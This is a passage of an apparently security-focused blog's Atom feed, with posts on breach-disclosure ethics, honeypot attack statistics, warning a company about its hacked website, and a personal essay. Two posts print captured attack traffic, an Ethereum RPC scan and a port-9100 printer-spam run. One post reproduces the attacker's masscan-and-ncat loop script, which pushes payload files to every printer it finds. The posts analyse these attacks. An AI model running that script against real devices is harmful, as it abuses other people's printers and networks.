<p><strong>Pros of Public Disclosure</strong></p>
<p>Let&rsquo;s get this one out of the way first: It&rsquo;s <strong>much</strong> easier. Finding a way to notify an organization that they&rsquo;ve been hacked is <a href="https://yourflyis0pen.com/article/thick-skull-thicker-skin/">hard</a>. I&rsquo;ve tried everything from website <em>Contact Us</em> forms to messages on Twitter and LinkedIn to <a href="https://yourflyis0pen.com/article/and-who-are-you/">phone</a> <a href="https://yourflyis0pen.com/article/what-clinic-are-you-with/">calls</a>. Few organizations have a working <em>security@</em> email address, and most folks likely consider my messages spam. No one likes hearing that they made a mistake; that&rsquo;s essentially what I&rsquo;m doing. Rightfully, they are suspicious of someone outside their organization telling them something they should&rsquo;ve caught themselves. All of that works against me when I attempt to quietly inform an organization that they&rsquo;ve been hacked.</p>
<p>Another advantage of publicly naming compromised organizations is the potential to create urgency. When a breach is made public, it often garners immediate attention from the organization, prompting them to address the issue more swiftly than they might have otherwise. Publicly naming compromised organizations can lead to quicker mitigation of vulnerabilities, reducing the risk of further exploitation. Additionally, public disclosure can raise awareness about common security issues, encouraging other organizations to check and secure their systems proactively.</p>
<p>Public disclosure could also foster a culture of accountability. By highlighting security lapses, organizations may feel more compelled to invest in robust security measures and prioritize cybersecurity as a critical aspect of their operations. If the potential for being <em>named and shamed</em> exists, this can lead to industry-wide improvements in security standards and practices, benefiting the broader digital ecosystem.</p>
<p><strong>Cons of Public Disclosure</strong></p>
<p>Despite these potential benefits, publicly naming compromised organizations carries significant risks. Chief among these is the potential for reputational damage. For instance, a small e-commerce business might lose customer trust and revenue if it&rsquo;s revealed that its website was compromised. This could be particularly damaging if the breach still needs to be fully understood or contained, as it might lead to panic and misinformation. Attackers have already violated these organizations; publicly shaming them would only add to that violation.</p>
<p>Public disclosure of compromised systems can unintentionally benefit malicious actors. Remember, I don&rsquo;t have some magic crystal ball. I&rsquo;m using publicly available information to discover hacked organizations. Even if I don&rsquo;t reveal a compromised system&rsquo;s specific weaknesses, attackers may use this same public information to identify weaknesses and escalate their attacks before the organization can address them. This could worsen the situation, potentially resulting in more significant breaches and greater data loss.</p>
<p><strong>My Approach</strong></p>
<p>As I said at the beginning of this post, this isn&rsquo;t a debate with some easy, clear-cut answer. It all comes down to what you&rsquo;re personally comfortable doing.</p>
<p>For better or worse, I find myself uncomfortable with publicly naming victims. Organizations should absolutely be more vigilant in patching, monitoring, and securing their systems. As an outsider, I should never be the one telling a business that someone has hacked its systems. As my college roommate used to say, &ldquo;<a href="https://yourflyis0pen.com/article/you-done-brang-it-on-yourself/">They done brang it on themselves.</a>&rdquo;</p>
<p>But they&rsquo;re still victims.</p>
<p>Leaving the doors to your house standing open is dumb, but it doesn&rsquo;t give someone the right to steal your stuff. If they do, you&rsquo;re still a victim, and we should be cautious of falling into the trap of victim-blaming.</p>
<p>Given the complexity of these considerations, I&rsquo;ll continue down the path I&rsquo;m currently following. I&rsquo;ll continue to do my best to notify organizations that attackers have compromised their systems without resorting to public shaming.</p>
<p>Even though this philosophical excursion hasn&rsquo;t changed my mind, I&rsquo;m happy to have taken it. This isn&rsquo;t a black-and-white issue; it&rsquo;s a decision informed by subjective values. Sometimes, it is important to think things through, if only to clarify your reasoning and strengthen your resolve.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
October 29, 2024</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/professionalism" term="professionalism" label="professionalism" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Seeing Everything]]></title>
            <link href="https://yourflyis0pen.com/article/seeing-everything/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/batman/?utm_source=atom_feed" rel="related" type="text/html" title="&#34;batman&#34;" />
                <link href="https://yourflyis0pen.com/article/rdp/?utm_source=atom_feed" rel="related" type="text/html" title="RDP Hide-n-Seek" />
                <link href="https://yourflyis0pen.com/article/starting_april/?utm_source=atom_feed" rel="related" type="text/html" title="Starting April" />
                <link href="https://yourflyis0pen.com/article/saasy_scanning/?utm_source=atom_feed" rel="related" type="text/html" title="SaaSsy Scanning" />
                <link href="https://yourflyis0pen.com/article/skodovia/?utm_source=atom_feed" rel="related" type="text/html" title="Grab a wooden stake, we&#39;re headed to Skodovia to kill MD5..." />
            
                <id>https://yourflyis0pen.com/article/seeing-everything/</id>
            
            
            <published>2024-10-22T15:30:00-05:00</published>
            <updated>2024-10-22T15:30:00-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>As security professionals, we all intuitively know how bad things are on the Internet. We know that attacks constantly bombard every IP address. But is it possible to go beyond that intuitive sense and put some hard numbers to the amount of badness continually knocking on our doors?</p>
<p>A friend proposed a thought experiment a while back: What if we could simultaneously listen on all IP ports and protocols? What would we see? What if we could log EVERY attack against an IP address? Exactly how bad would it be?</p>
<p>Well, I was able to turn that thought experiment into reality.</p>
<p>Imagine a tool that does the impossible—it can simultaneously listen for and complete connections on all 65,536 TCP ports, listen on all 65,536 UDP ports, grab all ICMP packets and other oddball protocols, and log everything. It doesn&rsquo;t require fancy or powerful hardware - I have it running on a humble RaspberryPi 4, and it uses only 4-5% processor. This tool allows us to capture the first portion of every attack against a system, and its capabilities provide us with unprecedented insight into the ever-evolving world of network attacks.</p>
<p>Building this tool was no small task. The technical insanity required to bring it to life is a story for another day. Let&rsquo;s talk about what it allows us to see.</p>
<p>First, it&rsquo;s essential to set the scene. I gathered this data on a standard, unassuming home internet connection. There was nothing special, no open ports, and no services advertised to the outside world. We can consider any inbound connection attempt malicious because there is no reason for any system to connect to this address.</p>
<p>For the week of October 6th through October 12th of 2024, this simple home Internet connection saw an average of 45,345 daily attacks. The attacks were relentless and steady, with the lowest day logging just over 43,000 and the highest day at around 49,000. This data underscores the urgency and importance of our work in understanding and mitigating network attacks.</p>
<p>For completeness, I also saw four IP-in-IP packets (IP Protocol 4) and eight GRE packets (IP Protocol 47).</p>
<p>Remember, this tool shows us the first portion of the attack so we can often identify what service it targets, even if it is against a non-standard port. So, out of 317,417 attacks during that week, 25,640 were attempts to exploit Microsoft RDP, but not just on port 3389. I can confidently say that attacks sourcing from 736 unique IPs made RDP exploit attempts against 12,312 different ports.</p>
<p>Because we can see the inbound attack, we can fingerprint the attacker&rsquo;s tooling and identify IP addresses used in coordination. Because of this tool&rsquo;s unique visibility, we can even recognize multiple IP addresses performing a coordinated scan across a range of ports.</p>
<p>You knew it was bad out there - now we can know just how bad.</p>
<p>This tool isn&rsquo;t publicly available right now, as the techniques I used to create it are being patented. But if you&rsquo;re interested in using it for research, reach out, and we can talk.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
October 22, 2024</p>
<p>P.S.: Just to add some additional context, that averages out to an attack every 1.9 seconds, all day, every day.</p>
<p>During that week, attacks targeted 30,194 unique ports, were 99.66% TCP, and sourced from 15,681 unique IP addresses.</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/toyz" term="toyz" label="toyz" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/scanning" term="scanning" label="scanning" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Knowledge Problems]]></title>
            <link href="https://yourflyis0pen.com/article/knowtoomuch/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/rabbits/?utm_source=atom_feed" rel="related" type="text/html" title="Cool little round pebbles" />
                <link href="https://yourflyis0pen.com/article/putting-the-ed-in-edu/?utm_source=atom_feed" rel="related" type="text/html" title="Putting the ED in EDU..." />
                <link href="https://yourflyis0pen.com/article/you-done-brang-it-on-yourself/?utm_source=atom_feed" rel="related" type="text/html" title="You Done Brang It on Yourself" />
            
                <id>https://yourflyis0pen.com/article/knowtoomuch/</id>
            
            
            <published>2024-10-22T15:00:00-05:00</published>
            <updated>2024-10-22T15:00:00-05:00</updated>
            
            
            <content type="html"><![CDATA[<p>I&rsquo;ve been asked several times over my career, &ldquo;What is the biggest security threat to small- to medium-sized businesses?&rdquo;</p>
<p>Rather than choosing a standard answer like phishing or ransomware, I&rsquo;ll say something completely different: people who think they know more than they do.</p>
<p>I&rsquo;ve run into that several times lately.</p>
<p>As many of you know, I use some Google-fu each week to find compromised websites and try to contact the organizations to let them know so the owners can clean up their sites.</p>
<p>Recently, I tried contacting the owners of a compromised website through LinkedIn. After sending them several messages, they finally responded that they had &ldquo;run numerous cybersecurity scans and found no threats.&rdquo; I replied with a list of multiple URLs, leading to pages attackers added to their site.</p>
<p>All the pages added to their site suddenly disappeared, and I heard nothing else back.</p>
<hr>
<p>Today, after exhausting multiple methods of contacting a different organization, I finally decided to give them a call. I don&rsquo;t particularly enjoy calling people because it <a href="https://yourflyis0pen.com/article/what-clinic-are-you-with/">rarely ends well</a>, but I was determined to get through to them.</p>
<p>I spoke to the receptionist and asked to speak with someone in charge of their website. She transferred me to a gentleman, and I explained that I was a security researcher who had noticed their site was compromised while investigating other hacked sites. He immediately got defensive.</p>
<p>I explained that attackers had added pages to their site advertising questionable things. &ldquo;Like what?&rdquo; he asked. I explained that the added pages advertised techniques for viewing private Instagram profiles, among other things.</p>
<p>I asked him if he could look at something in a web browser, preparing to give him a Google search string. He explained that he was &ldquo;looking at the site right now&rdquo; and saw nothing wrong. I explained that the attack was different from what he would see on the main site because attackers had added unlinked pages.</p>
<p>Then he hung up.</p>
<p>If you think you understand more about website security than you do, you&rsquo;ll likely miss many things, like the fact that most website hacks aren&rsquo;t easily visible. In this case, the attackers wanted these new pages to hang around as long as possible to get the SEO bump associated with having links on a popular web page. Of course, they won&rsquo;t make it easy to spot the hack!</p>
<p>If you work in a small- to medium-sized business, you have so much on your plate that you can&rsquo;t be an expert in everything. If someone contacts your company and tells you someone has hacked your organization, listen. Be skeptical—I would never say otherwise, but please listen.</p>
<p>You might find out something important.</p>
<p>You might find out that someone has hacked your website.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
October 22, 2024</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Ethereum Bro, Go Home]]></title>
            <link href="https://yourflyis0pen.com/article/ethereum_bro_go_home/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/steppin-in-it/?utm_source=atom_feed" rel="related" type="text/html" title="Steppin&#39; In It" />
                <link href="https://yourflyis0pen.com/article/why/?utm_source=atom_feed" rel="related" type="text/html" title="Why Should the Bad Guys Have All the Fun?" />
                <link href="https://yourflyis0pen.com/article/hive/?utm_source=atom_feed" rel="related" type="text/html" title="You will never find a more wretched hive of scum and villainy..." />
                <link href="https://yourflyis0pen.com/article/ishmael/?utm_source=atom_feed" rel="related" type="text/html" title="Call me Ishmael" />
                <link href="https://yourflyis0pen.com/article/lies-lies-lies/?utm_source=atom_feed" rel="related" type="text/html" title="Lies, lies, lies..." />
            
                <id>https://yourflyis0pen.com/article/ethereum_bro_go_home/</id>
            
            
            <published>2022-01-07T14:29:24-06:00</published>
            <updated>2022-01-07T14:29:24-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>I&rsquo;m kinda done with the whole entitled mindset associated with a lot of the cryptocurrency community.</p>
<p>First of all, children, we were using the term &ldquo;crypto&rdquo; for &ldquo;cryptography&rdquo; back when most of you were still pooping yellow, so please stop trying to co-opt that phraseology for your wasteful toy currency and push yourselves to use the entire word, &ldquo;cryptocurrency.&rdquo; I&rsquo;m sure you can somehow muddle through.</p>
<p>Secondly, stop acting like your hobby is God&rsquo;s gift to the world and not the frickin&rsquo; pyramid scheme that it obviously is.</p>
<p>Finally, your &ldquo;let the world burn&rdquo; attitude when it comes to your altcoins, NFTs, and every other freakishly stupid waste of power that you can come up with, has seeped into the Internet Menaces that have appeared like ticks on the bloated carcass you&rsquo;ve become. That kinda pisses me off&hellip;</p>
<p>To whit, I was blessed with the following garbage hitting on <em>56,855 different TCP ports</em> earlier today:</p>
<pre tabindex="0"><code>Jan  7 20:08:13 sensor: PacketTime:2022-01-07 20:08:13.113250 Len:237 IPv4/TCP 217.12.218.106:59524 -&gt; 52018 ID:61018 TOS:0x28, TTL:46 IpLen:20 DgLen:223 *AP*** Seq:0xe2801897 Ack:0x2ca8a49e Win:0xfaf0 TcpLen:20 Resp:A
00000000  50 4f 53 54 20 2f 20 48 - 54 54 50 2f 31 2e 31 0d  |POST / HTTP/1.1.|
00000010  0a 48 6f 73 74 3a 20 61 - 61 61 2e 62 62 62 2e 63  |.Host: aaa.bbb.c|
00000020  63 63 2e 64 64 64 3a 35 - 32 30 31 38 0d 0a 41 63  |cc.ddd:52018..Ac|
00000030  63 65 70 74 3a 20 2a 2f - 2a 0d 0a 41 63 63 65 70  |cept: */*..Accep|
00000040  74 2d 45 6e 63 6f 64 69 - 6e 67 3a 20 67 7a 69 70  |t-Encoding: gzip|
00000050  2c 20 64 65 66 6c 61 74 - 65 0d 0a 55 73 65 72 2d  |, deflate..User-|
00000060  41 67 65 6e 74 3a 20 50 - 79 74 68 6f 6e 2f 33 2e  |Agent: Python/3.|
00000070  38 20 61 69 6f 68 74 74 - 70 2f 33 2e 36 2e 33 0d  |8 aiohttp/3.6.3.|
00000080  0a 43 6f 6e 74 65 6e 74 - 2d 4c 65 6e 67 74 68 3a  |.Content-Length:|
00000090  20 36 37 0d 0a 43 6f 6e - 74 65 6e 74 2d 54 79 70  | 67..Content-Typ|
000000a0  65 3a 20 61 70 70 6c 69 - 63 61 74 69 6f 6e 2f 6a  |e: application/j|
000000b0  73 6f 6e 0d 0a 0d 0a    -                          |son....         |
Jan  7 20:08:13 sensor: PacketTime:2022-01-07 20:08:13.115311 Len:121 IPv4/TCP 217.12.218.106:59524 -&gt; 52018 ID:61019 TOS:0x28, TTL:46 IpLen:20 DgLen:107 *AP*** Seq:0xe280194e Ack:0x2ca8a49e Win:0xfaf0 TcpLen:20 Resp:A
00000000  7b 22 6a 73 6f 6e 72 70 - 63 22 3a 20 22 32 2e 30  |{&#34;jsonrpc&#34;: &#34;2.0|
00000010  22 2c 20 22 6d 65 74 68 - 6f 64 22 3a 20 22 6e 65  |&#34;, &#34;method&#34;: &#34;ne|
00000020  74 5f 76 65 72 73 69 6f - 6e 22 2c 20 22 70 61 72  |t_version&#34;, &#34;par|
00000030  61 6d 73 22 3a 20 5b 5d - 2c 20 22 69 64 22 3a 20  |ams&#34;: [], &#34;id&#34;: |
00000040  36 37 7d                -                          |67}             |
</code></pre><p>Seriously?!?</p>
<p>You&rsquo;re that hard up that you need to scan 56,855 different ports to see if you can find an Ethereum mining rig so you can try to scam some Ether? You&rsquo;re talented enough that you can write a scanner using an asynchronous Python HTTP library, and this is how you use your brain?</p>
<p>Ethereum bro, go home&hellip; you&rsquo;re drunk.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
January 7, 2022</p>
<p>P.S.: And to the cut-rate VPS provider giving unlimited network traffic to anyone with €3.95/month (and not even pretending to monitor outbound traffic) fuck you&hellip; You&rsquo;re the real problem here.</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[The Revolution Will Not Be Televised - It'll Be Printed]]></title>
            <link href="https://yourflyis0pen.com/article/when-the-revolution-comes/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/batman/?utm_source=atom_feed" rel="related" type="text/html" title="&#34;batman&#34;" />
                <link href="https://yourflyis0pen.com/article/why/?utm_source=atom_feed" rel="related" type="text/html" title="Why Should the Bad Guys Have All the Fun?" />
                <link href="https://yourflyis0pen.com/article/hive/?utm_source=atom_feed" rel="related" type="text/html" title="You will never find a more wretched hive of scum and villainy..." />
                <link href="https://yourflyis0pen.com/article/mr-watson/?utm_source=atom_feed" rel="related" type="text/html" title="&#34;Mr. Watson, come here. I want some career advice.&#34;" />
                <link href="https://yourflyis0pen.com/article/thick-skull-thicker-skin/?utm_source=atom_feed" rel="related" type="text/html" title="Thick Skull, Thicker Skin" />
            
                <id>https://yourflyis0pen.com/article/when-the-revolution-comes/</id>
            
            
            <published>2021-12-19T06:41:08-06:00</published>
            <updated>2021-12-19T06:41:08-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>If you have the tools and the patience to look, you can find all sorts of crazy stuff going on out there on the Internet. Seriously&hellip; it rarely fails to disappoint.</p>
<p>Here&rsquo;s an example:</p>
<p>It starts with a little recon&hellip;</p>
<pre tabindex="0"><code>PacketTime:2021-12-19 04:13:06.179491 Len:60 IPv4/TCP 168.100.10.91:49260 -&gt; 9100 ID:53613 TOS:0x0, TTL:238 IpLen:20 DgLen:40 ****S* Seq:0xb7a61da1 Ack:0x0 Win:0x400 TcpLen:20 Resp:SA
PacketTime:2021-12-19 04:13:06.389039 Len:60 IPv4/TCP 168.100.10.91:49260 -&gt; 9100 ID:0 TOS:0x0, TTL:47 IpLen:20 DgLen:40 ***R** Seq:0xb7a61da2 Ack:0x0 Win:0x0 TcpLen:20 Resp:
</code></pre><p>The attacker, having established that there is likely a willing target printer listening (&lsquo;cause it&rsquo;s talking to <a href="http://hacking-printers.net/wiki/index.php/Port_9100_printing">port 9100/TCP</a>), slips on their faded Che Guevara t-shirt (despite the fact that they probably can&rsquo;t even name three of his hit songs&hellip;) and does their best to stoke the flames of revolution:</p>
<pre tabindex="0"><code>PacketTime:2021-12-19 04:13:07.528188 Len:74 IPv4/TCP 168.100.10.91:33324 -&gt; 9100 ID:10905 TOS:0x0, TTL:47 IpLen:20 DgLen:60 ****S* Seq:0x812f4896 Ack:0x0 Win:0xfaf0 TcpLen:40 Resp:SA
PacketTime:2021-12-19 04:13:07.653741 Len:60 IPv4/TCP 168.100.10.91:33324 -&gt; 9100 ID:10906 TOS:0x0, TTL:47 IpLen:20 DgLen:40 *A**** Seq:0x812f4897 Ack:0x93d71e15 Win:0xfaf0 TcpLen:20 Resp:
PacketTime:2021-12-19 04:13:07.653893 Len:293 IPv4/TCP 168.100.10.91:33324 -&gt; 9100 ID:10907 TOS:0x0, TTL:47 IpLen:20 DgLen:279 *AP*** Seq:0x812f4897 Ack:0x93d71e15 Win:0xfaf0 TcpLen:20 Resp:A
00000000  0d 0a 0d 0a 3d 3d 3d 3d - 3d 3d 3d 3d 3d 3d 3d 3d  |....============|
00000010  3d 3d 3d 3d 3d 3d 3d 3d - 3d 3d 0d 0a 4e 45 57 20  |==========..NEW |
00000020  59 45 41 52 27 53 20 52 - 45 53 4f 4c 55 54 49 4f  |YEAR&#39;S RESOLUTIO|
00000030  4e 53 0d 0a 3d 3d 3d 3d - 3d 3d 3d 3d 3d 3d 3d 3d  |NS..============|
00000040  3d 3d 3d 3d 3d 3d 3d 3d - 3d 3d 0d 0a 0d 0a 31 2e  |==========....1.|
00000050  20 48 69 74 20 74 68 65 - 20 47 79 6d 0d 0a 32 2e  | Hit the Gym..2.|
00000060  20 44 65 6c 65 74 65 20 - 46 61 63 65 62 6f 6f 6b  | Delete Facebook|
00000070  0d 0a 33 2e 20 4f 52 47 - 41 4e 49 5a 45 20 41 20  |..3. ORGANIZE A |
00000080  55 4e 49 4f 4e 0d 0a 0d - 0a 0d 0a 4c 65 61 72 6e  |UNION......Learn|
00000090  20 4d 6f 72 65 3a 0d 0a - 3d 3d 3d 3d 3d 3d 3d 3d  | More:..========|
000000a0  3d 3d 3d 3d 3d 3d 3d 3d - 3d 3d 3d 3d 3d 0d 0a 72  |=============..r|
000000b0  65 64 64 69 74 2e 63 6f - 6d 2f 72 2f 61 6e 74 69  |eddit.com/r/anti|
000000c0  77 6f 72 6b 0d 0a 3d 3d - 3d 3d 3d 3d 3d 3d 3d 3d  |work..==========|
000000d0  3d 3d 3d 3d 3d 3d 3d 3d - 3d 3d 3d 0d 0a 0d 0a 0d  |===========.....|
000000e0  0a 0d 0a 0d 0a 0d 0a 0d - 0a 0d 0a 0d 0a 0d 0a     |............... |
PacketTime:2021-12-19 04:13:07.654029 Len:60 IPv4/TCP 168.100.10.91:33324 -&gt; 9100 ID:10908 TOS:0x0, TTL:47 IpLen:20 DgLen:40 *A***F Seq:0x812f4986 Ack:0x93d71e15 Win:0xfaf0 TcpLen:20 Resp:FA
PacketTime:2021-12-19 04:13:07.771993 Len:60 IPv4/TCP 168.100.10.91:33324 -&gt; 9100 ID:10909 TOS:0x0, TTL:47 IpLen:20 DgLen:40 *A**** Seq:0x812f4987 Ack:0x93d71e16 Win:0xfaef TcpLen:20 Resp:
</code></pre><p>Ok.</p>
<p>So maybe &ldquo;<em>stokes the flames of revolution</em>&rdquo; is a bit of an overstatement.</p>
<p><em>A wannabe revolutionary lazily slings TCP packets into the aether in hopes of&hellip; getting someone to read Reddit</em></p>
<p>Nah.</p>
<p><em>A basement-dwelling socialist poser sticks it to the capitalist oligarchy and exploits the tools of production to&hellip; well&hellip; print something.</em></p>
<p>Oh, nevermind.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
December 19, 2021</p>
<p>Addendum: So apparently, masscan and netcat are the tools of the revolution (who knew?). A little recon uncovered that the following script was running the show:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#000080">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#000080"></span><span style="color:#cdcd00">while</span> <span style="color:#cd00cd">true</span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">do</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  masscan --conf masscan.conf 2&gt;/dev/null | <span style="color:#cd0000">\
</span></span></span><span style="display:flex;"><span><span style="color:#cd0000"></span>  <span style="color:#cdcd00">while</span> <span style="color:#cd00cd">read</span> line
</span></span><span style="display:flex;"><span>  <span style="color:#cdcd00">do</span>
</span></span><span style="display:flex;"><span>    cat <span style="color:#cd0000">&#34;</span><span style="color:#cdcd00">$(</span>ls payload/*.txt | shuf -n 1<span style="color:#cdcd00">)</span><span style="color:#cd0000">&#34;</span> | ncat -v -C -i <span style="color:#cd00cd">10</span> -w <span style="color:#cd00cd">10</span> <span style="color:#cdcd00">$(</span><span style="color:#cd00cd">echo</span> <span style="color:#cd0000">&#34;</span><span style="color:#00cdcd">$line</span><span style="color:#cd0000">&#34;</span> | awk <span style="color:#cd0000">&#39;{ print $6 }&#39;</span><span style="color:#cdcd00">)</span> <span style="color:#cd00cd">9100</span> &amp;
</span></span><span style="display:flex;"><span>  <span style="color:#cdcd00">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">done</span>
</span></span></code></pre></div><p>The <code>payload</code> directory contained an assortment of messages like the one above.</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[It was a perfect day]]></title>
            <link href="https://yourflyis0pen.com/article/it-was-a-perfect-day/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/the-great-stone-head/?utm_source=atom_feed" rel="related" type="text/html" title="The Great Stone Head" />
                <link href="https://yourflyis0pen.com/article/0x3a/?utm_source=atom_feed" rel="related" type="text/html" title="0x3A" />
                <link href="https://yourflyis0pen.com/article/batman/?utm_source=atom_feed" rel="related" type="text/html" title="&#34;batman&#34;" />
                <link href="https://yourflyis0pen.com/article/rdp/?utm_source=atom_feed" rel="related" type="text/html" title="RDP Hide-n-Seek" />
                <link href="https://yourflyis0pen.com/article/inequity-fini/?utm_source=atom_feed" rel="related" type="text/html" title="Inequity Fini" />
            
                <id>https://yourflyis0pen.com/article/it-was-a-perfect-day/</id>
            
            
            <published>2021-11-09T09:29:40-06:00</published>
            <updated>2021-11-09T09:29:40-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>The last few months have been challenging.</p>
<p>Over the summer, my mom began exhibiting symptoms of dementia. She had been misremembering little things, repeating herself, losing items - but this was different.</p>
<p>One day, she called my brother in a panic. She didn&rsquo;t know where she was.</p>
<p>She was calling from home.</p>
<p>Thus began a sad and difficult journey. My mom is currently in a long-term memory care facility.</p>
<p>Fully lucid moments are becoming rarer. Dementia is an evil disease that robs you of the people you love - replacing them with a look-alike who has their memories all jumbled together in a big pile. Dementia manifests its particular brand of cruelty by letting you see glimpses of normalcy amid the confusion. It&rsquo;s a horrible disease.</p>
<p>And, if I&rsquo;m being honest, it is especially cruel because - for me - every visit triggers what I&rsquo;ve admitted is my <a href="https://yourflyis0pen.com/article/0x3a/">greatest fear</a>.</p>
<p>As I said, the last few months have been challenging.</p>
<hr>
<p>But there are bright spots - even in the darkest times. And generally, they find a way of showing up both unexpectedly and just when you need them.</p>
<p>One of those bright spots was a card sent several months &ldquo;late,&rdquo; yet arriving right on time yesterday. It&rsquo;s funny how things like that seem to happen. So never worry about sending someone a belated card - because often, it will arrive when it&rsquo;s needed the most.</p>
<hr>
<p>The other bright spot needs a little explaining.</p>
<p>Those of you who know me personally will likely be <em>shocked</em> by this: I was a bit of a brat as a child.</p>
<p>I know, I know - it&rsquo;s hard to believe.</p>
<p>My mom had a lot of little holiday decorations that got trotted out every year. My favorites were three sets of candle holders. It wasn&rsquo;t that I was into holiday candle holders -  I liked them because of the opportunity they presented.</p>
<p>You see, the three sets of candle holders were separate letters that each spelled out a word: SANTA, SNOW, and NOEL.</p>
<p>In case your anagram-fu is a little rusty, let me (literally) spell it out for you. Young Tom delighted in rearranging the letters to spell out that wonderful holiday phrase: SATAN OWNS LEON.</p>
<p>When we moved my mom into memory care, we took along several items of furniture, some pictures, and some knick-knacks so it would feel more like home. Then, whatever couldn&rsquo;t go with her, we allowed children, grandchildren, and great-grandchildren to divide up. Unfortunately, I&rsquo;d forgotten about one item that I had taken in all of the chaos and rush.</p>
<p>Due to scheduling issues and general busyness, some of our kids aren&rsquo;t going to be able to make it home this Christmas. Instead, they&rsquo;re coming home at Thanksgiving, so we&rsquo;re going to have an early Christmas in November. My wife (who puts my mother to shame when it comes to Christmas decorations) also decided to decorate early.</p>
<hr>
<p>I visited my mom yesterday. She recognized me.</p>
<p>It was a good day.</p>
<p>When I got home from the memory care center, there was a card waiting for me.</p>
<p>It was an even better day.</p>
<p>Last night, I walked into our kitchen and discovered that my wife had placed the four Christmas candle holders I&rsquo;d taken from my mom&rsquo;s house on the windowsill above our sink. But she&rsquo;d made a mistake - they spelled out the word NOEL.</p>
<p>I fixed them.</p>
<p><img src="leon.jpg" alt="There, I fixed it&hellip;"></p>
<p>It was a perfect day.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
November 9, 2021</p>
<p><strong>Addendum (11/14/21):</strong> I was thinkin&rsquo; (I do that sometimes&hellip;.), maybe I was mistaken. Maybe it should have been <em>SATAN OWNS LENO</em>. (That would finally explain the whole <em>Tonight Show</em> gig.)</p>
<p>Better still, <em>SATAN OWNS ELON</em>, which would explain <em>a lot</em>.</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="Personal" />
                            
                        
                    
                 
                    
